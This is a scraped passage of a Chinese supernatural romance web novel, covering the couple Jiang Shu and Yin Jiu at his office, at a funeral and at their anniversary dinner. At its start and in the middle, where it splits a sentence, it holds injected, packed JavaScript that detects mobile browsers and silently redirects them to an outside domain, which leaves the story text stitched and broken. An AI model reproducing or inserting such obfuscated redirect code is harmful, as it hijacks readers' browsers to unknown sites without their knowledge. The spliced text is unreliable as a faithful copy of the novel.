;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他又分不清殷咎的意思,他们结婚一年他没有去过殷咎的办公室,本来他想的是如果殷咎不要他接他就走,或者殷咎下楼他们一起走,没有他要去殷咎办公室这一项。 这是不是表示他咎哥其实没有不想公开他们的关系?今天早上是真的集团有事,不是不想见到他。 一刹间,江树把自己哄好了,高兴地答应,然后停好车在门口等着殷咎的秘书。 来接江树的秘书姓王,她没有见过江树,殷咎叫她下楼接人也没说接的是谁,只说你一眼看到的人就是。 她本来还怀疑,可是走出电梯一眼望去,第一眼就锁定了站在门边乖巧的江树,她信了殷咎的话。 这世界原来真的有人天生就是人群中的焦点。 “请问,是江树吗?” 江树见到陌生人有点腼腆,点着头回答:“你是来接我的吗?” “对,请跟我来。” 江树连忙跟在王秘书身后,他们从总裁专门用的电梯上楼,出去就是总裁办,虽然已经到了下班的时间,但还是有很多人在工作。 “殷总就在里面。” 王秘书把江树带到殷咎办公室的门口,她正要敲门,江树就直接推门进去了,她惊得连忙要阻止江树,殷董事长最不喜欢的就是别人不敲门就进去。 但江树闯进去,她没听到预想的怒火,反而是江树一进门就四处打量,一脸没见过的表情说:“这就是你的办公室,这么大啊!” 她震惊这样大喊大叫殷咎都没有生气,猛然一股寒意向她向逼而来,她对上殷咎的目光,终于意识到了她接的人是谁。 殷咎结婚的消息全市都都知道,但知道殷咎和谁结婚的人没几个,网上都传殷咎结婚对象被逼疯进精神病院了,不过作为总裁办的秘书她大概知道那些都是谣言,因为殷咎结婚后上班时间固定得不能再固定,雷打不动朝九晚五,比她们都准时。 她连忙上前把门关回来,然后在总裁办的群里提醒有事没事都别去打扰殷董事长。 殷咎靠着椅子,看着江树在办公室里转圈,什么都好奇地要去碰一下,他把椅子转身了旁边说:“过来。” 江树立即放下了手里的奖杯,跑到了殷咎面前,又伸着脖子去看殷咎的电脑,“咎哥,你上班都做什么。” 殷咎不回答他的问题,拉住他的手把他往前一拽,他膝盖撞到了殷咎坐的椅子,殷咎立即抱过来牢牢扣着他的腰,脸埋在他腹间哑着声说:“让我抱一下,宝贝。” 江树愣住了,他觉得殷咎的心思真的很难猜,昨天才拒绝他,一早又不等他,现在却这么暧昧地抱着他,还叫他宝贝。 他红着耳朵轻轻地抱住了殷咎的头,发现殷咎竟然有两个旋,于是他摸着那两个旋说:“咎哥,你怎么了?” “你在生我的气吗?” 殷咎不问,他已经好了,可殷咎一问,他忍不住又开始委屈,不摸殷咎的旋了,僵直地任殷咎抱着说:“我很笨,读书也不行,你要是不喜欢我你告诉我,我以后、以后都不——” “我没有不喜欢你。” 殷咎打断了江树说出来,他说完江树僵得更直了,他连忙把人松开,抬起头对着江树不知所措的眼神,又心疼又想笑。 他把人的手握过来道歉,“都是我不好,是我不对,原谅我好吗?” “嗯。” 江树就这么同意,然后咧着嘴角笑起来。 殷咎没看懂他笑什么,还越笑越夸张了,把人轻轻一拽,又跌在了他腿上,这回没有想起身,而是乖乖地坐在他腿上,他满意地问:“笑什么?” 江树嘴角压不下去,但他不好意思告诉殷咎,“我没有不喜欢你”的意思,就是“我喜欢你”。 他对着殷咎的视线,冷地防地捏起了他咎哥不怎么笑的嘴角说:“我想笑就笑,不要你管。” 殷咎把脸上的手摘下来,握着指尖在唇边装作不经意地吻了一下。 江树立即感觉指尖发烫,一下反握住了殷咎的手,转过去正对着殷咎,满脸通红地仍然开口问:“咎哥,你刚在做什么?” 他这是跟殷咎学的,之前在村子殷咎就是明知道他怎么还故意问他为什么。 殷咎不知道江树还有这一面,他沉默地盯着江树脸颊红透但目光狡黠的模样,迷人得不行。 他看似听话地回答:“你不是知道了我做什么才问的。” “咎哥!” 江树的气势一下就没了,他有种鹦鹉学舌失败的羞耻,倏地把脸藏到殷咎肩膀上闷着声音说:“你一点都不配合。” 殷咎揽着他的腰保证,“我配合,你再问一遍。” 江树不信,可又觉得他咎哥不会骗他,犹豫地抬起了头,对着他咎哥的双眼许久,终于哑声地问出口。 “咎哥,我可以吻你吗?” 18.第 18 章 # 018 色调单一沉闷的办公室里仿佛流转起了旖旎暧昧的颜色,江树等待宣判一样等殷咎回答。 可是殷咎什么也没说,一只手抬起来轻轻握住了他的脖子,手掌摩挲在他颈间,拇指突然沿着他的喉结往上推,迫使他仰起了头,殷咎的吻就落在了他喉结上。柔软微凉的唇温柔地吮起他的皮肤,他不自觉地微微一颤,双手抱住了殷咎的头低喃出一声。 “咎哥——” 殷咎蓦地抱起江树的一条腿,江树本来是半跑在他腿上的姿势,他把这条腿往椅子外抬过去,瞬间江树与他面对面叠坐在一起,他再扣着江树的腰压得江树往前一撞,江树立即缩起了身体,用力地抱紧了他的脖子。 他仰起头去对上江树的脸,江树脸颊红透地望着他,不知是害羞还是恼怒地说:“咎哥,你在做什么?” 猛然间他清醒过来,压着江树腰的手僵住,感官里全是江树的触感,胸口控制不住地狠狠起伏。 江树忽然主动地向他一贴,捧住了他的脸向他吻下来,就在他们的唇触上的一刻,他猛地推开了江树。 “好了,我们回家。” 江树懵住了,望着殷咎突然又与平常没有区别的表情,是他熟悉的咎哥,温柔绅士,像刚刚的事全是他一个人的臆想。 他不知道该怎么去理解他咎哥,他不想去想他咎哥是故意逗弄他,可又解释不了他咎哥为什么一会儿像是意乱情迷,一会儿又毫无暧昧地拒绝他。 他就这么审视了殷咎半晌,什么也没说,从殷咎腿上下来,去推来轮椅,把殷咎搬到轮椅上,推他出了办公室。 殷咎知道他把人惹生气了,回去的一路江树什么也没说,本来他把人气得要自己骑车走,是他硬拽着江树的手,硬逼着江树坐上了他的车。 回到家江树还是一言不发,推他进屋就放开他说:“咎哥,我今晚不想吃饭,先回房间了。” “好。” 殷咎回了一声,江树就头也不回地上楼。 管家察觉到了气氛不对,小心翼翼地挪到离殷咎一米半的位置,优雅恭敬地八卦,“老板,您和夫人怎么了?” 结果殷咎没有生气,甚至没有理他,一个人默默地去了地下室。 江树回到房间开始后悔他是不是太过分了,他咎哥对他那么好,他却因为他咎哥拒绝跟他接吻生气。 实际上他不是生殷咎的气,他也不知道他怎么了,就是控制不住想太多,连殷咎的一个眼神他都想分析一下他咎哥看他在想什么。 他害怕殷咎真的就只是逗他玩,实际上一点不喜欢他,所以才不愿和他接吻。 可是他咎哥都那样吻他脖子了,还故意把他按过去。 江树要被自己烦死了,他在房间里不停地转圈,想阻止自己不去想,可越不想去想,越会去想,结果就是他又失眠了,到半夜都没睡着。 第二天一早,他下楼时还在想见到殷咎要不要主动说话,结果刚坐下殷咎就告诉他。 “江于思昨晚死了,江成业问你要不要去参加葬礼。” 江树怔住了好半晌,终于开口,“江于思……怎么会死了?” 殷咎不关心这个问题,也没有问江成业,但肯定和那晚的“魆”有关。 江树也猜到了,没再追问殷咎,他和江于思实际上没有实质的矛盾,所有的问题都在于他父母,他问殷咎,“什么时候?” “明天晚上。” 后天正好是他们结婚一周年纪念,这个时间不太好,江树还是决定去。 到了江于思葬礼当天,江树推着殷咎进了灵堂,人很多,也很隆重,但大多是江兴权生意上的人,显得不像葬礼,反而像什么相互谈生意的酒会。 有人看到殷咎立即过来打招呼,到了殷咎面前才发现江树,好奇地打量过来。 殷咎冰冷地给了对方一个警告的眼神,对方立即什么也没敢说,低着头退开了。 江树忽然感觉这样的殷咎有点陌生,可殷咎转回头来看他,又是他熟悉的温柔模样。 “江树。” 江成业看到了江树和殷咎,两人在人群中各方面来说都让人没法不注意到,他走过去客气地和殷咎打招呼,“殷总。” 江兴权也注意到了他们这边,第一眼怒瞪向江树,可是看到了殷咎他只是哼了一声,连招呼都没有过来打。 江树没在意他,小心地问江成业,“江于思、他怎么会、死的。” 江成业微叹了一口气,目光先是瞟了眼殷咎,没收到殷咎不让他说的信号才开口,“那天他被救回来了,只是身体受到了损伤,以后都没法排便,只能终生带着粪袋,他接受不了,自杀了。” 江树怔住好半晌才有了反应,他这一刻才意识到不是活下来,就能好好活下去,又想到他哥,对魆生出了极端的恨意。 他去给江于思行完礼,正好有人上前和殷咎说话,他就放了轮椅一个人走到外面的绿化带,靠在一根路灯下发呆。 没一会儿,殷咎过来停在他面前,拉住他的手说:“别难过,那是江于思自己的选择。” “不是!” 江树第一次大声地反驳殷咎,“都是因为怪物!要不是因为那些怪物,我哥,江于思,还有别人都不会死!为什么这世上会存在怪物?祂们为什么要把人类当成目标?为什么要绑定人类!” 殷咎沉默地看着江树,一句安慰的话都说不出来,下意识把握着江树的手攥紧。 “咎哥。” 江树忽然蹲到了轮椅前,他想起他是蜕骸者,有一个巨大可怕的怪物想要像那个怪物侵犯江于思那样对他,想吃了他。也许突然有一天,他就和江于思一样因为怪物死了。 他反握住了殷咎的手,趴在他咎哥腿上问:“万一我也遇到了魆,我也死了,你会不会很难过。” “……你不会死。” 殷咎开口才发觉他的声音哑了,他俯身下去抵到了江树的额头,“你会没事,你不会和你哥,更不会和江于思一样。” 江树差点脱口而出他是那个触须怪的蜕骸者,可话到嘴边他忍住了,如果那个触须怪真的要吃了他,周倚龙的意思是异管协会也阻止不了,那他必死无疑。 他不希望他死后,他咎哥和他一样这么恨魆,不想他咎哥一直活在仇恨里,一直因为他难过。 “咎哥。” 江树蓦地勾住了殷咎的脖子,抬起头几乎贴着殷咎的唇说:“明天是我们结婚纪念,你能早点回家吗?” 殷咎不知道为什么江树这时候提这个,答应道:“好。” - 安葬仪式在凌晨,仪式结束江兴权整个人都垮了,江树看着他突然觉得他有点可怜,毕竟江兴权那么疼江于思。 离开墓园时,江成业告诉他,“其实当年你走丢,是因为爸带你参加活动,他没看好你。在那之后很自责,在收养于思后,他把所有的愧疚都给了于思。于思那么听他的话,完全是因为这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507276|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年他对于思的过度关心,把于思的所有一切都控制在他手里。” “哦。” 江树听到这些没有什么感觉,在他刚被拐卖的时候还想过他父母来救他,可是时间久了他就不期待了,后来被找回来他其实也没有什么太大的触动。 唯一让他感到高兴的是他终于摆脱了养父母,最大的遗憾是他哥如果能再等他几年,那时他就能带他哥一起离开那座坚牢一样的岛了。 回到家天已经完全亮了,今天是他和殷咎结婚一周年的纪念,昨晚在江家他没睡好,殷咎让他今天请假在家休息。 “不行!这周已经请了两天假了。” 江树坚持去上了班,实际他只是把车参到小区外面,等到管家通知殷咎走了,他立即回去。 他不知道那个触须怪什么时候会来,不想在死之前留下遗憾,准备接受吴子涵的建议,今天晚上勾引殷咎。 为了更有气氛,他找了好多参考,把餐厅布置得一片粉红,然后去做他练了一整天的蛋糕,怕失败特意做了三个,从中选了一个他最满意的,然后让厨师按他的要求做了一桌烛光晚餐。 准备好后,他让其他人今天都放假,然后上楼换衣服。 可他把衣服都试了一堆他也没找到吴子涵口中“性感”的衣服,最后按吴子涵的建议穿了一件殷咎的衬衣,还要他扣子只扣最底下一颗,并且不穿裤子。 他实在没法接受,最后往衬衣低下套了一条运动短裤。 殷咎回来时发现屋里没有人声,连灯都开得一片昏暗,他寻着江树的味道找到餐厅。 餐厅里只有几盏烛光亮着,昏暗暧昧的光线里,江树穿着一件明显不全身的黑色真丝衬衣靠着餐桌,手里捧着一束鲜艳的红色玫瑰。 丝质的面料紧贴着皮肤勾勒出清楚的躯体线条,与鲜艳的玫瑰相衬在一起,仿佛将欲望直接侵染进了他的理智里。 他不敢靠近,远远地停住轮椅望着江树,眼神却已经缠在了江树身上舔遍了全身。 江树不知道殷咎怎么突然停下了,他姿势摆得有点僵,再也忍不住羞耻站起来,拉紧快要从肩膀掉下去的衬衣,对着殷咎问:“咎哥,你怎么不过来?” 殷咎终于把轮椅开到了江树面前,江树就捧着花一条腿跪到他轮椅上,让他发疯的香扑在了他脸上,几乎等于没扣的衬衣他一眼就能看到江树衣服里。 江树毫无察觉地把花塞在他怀里,“咎哥,结婚一周年快乐。” “嗯。” 他只回了一个字,江树很不满意,“你没有别的说了吗?” “你也快乐。” 江树觉得他咎哥不会说祝福的话也正常,决定先不计较,转身把蛋糕捧过来,又一条腿跪住轮椅,将蛋糕捧在殷咎面前说:“咎哥,吹蜡烛。” 蜡烛的光把江树的脸映得一片暖色,从大开的衣襟透进去,将里面的颜色映得更加清晰。 殷咎目光像触须一样伸进去,不舍地吹了蜡烛,抬眼望向江树的脸回答:“吹完了。” 江树还是有些不好意思,不敢直视殷咎,视线一直盯着殷咎的嘴唇开口,“咎哥,蛋糕是我亲自做的,你、你要不要……先尝尝?” 殷咎喉结滚动,双手在轮椅上已经捏得快要绷出触须了,可是他做不到拒绝,江树就是这个世界给他下的蛊,他勉强压着快要发疯的渴望回答:“好。” 江树却没去切蛋糕,而是低头咬住一口,搂起他的脖子直接对他吻过来。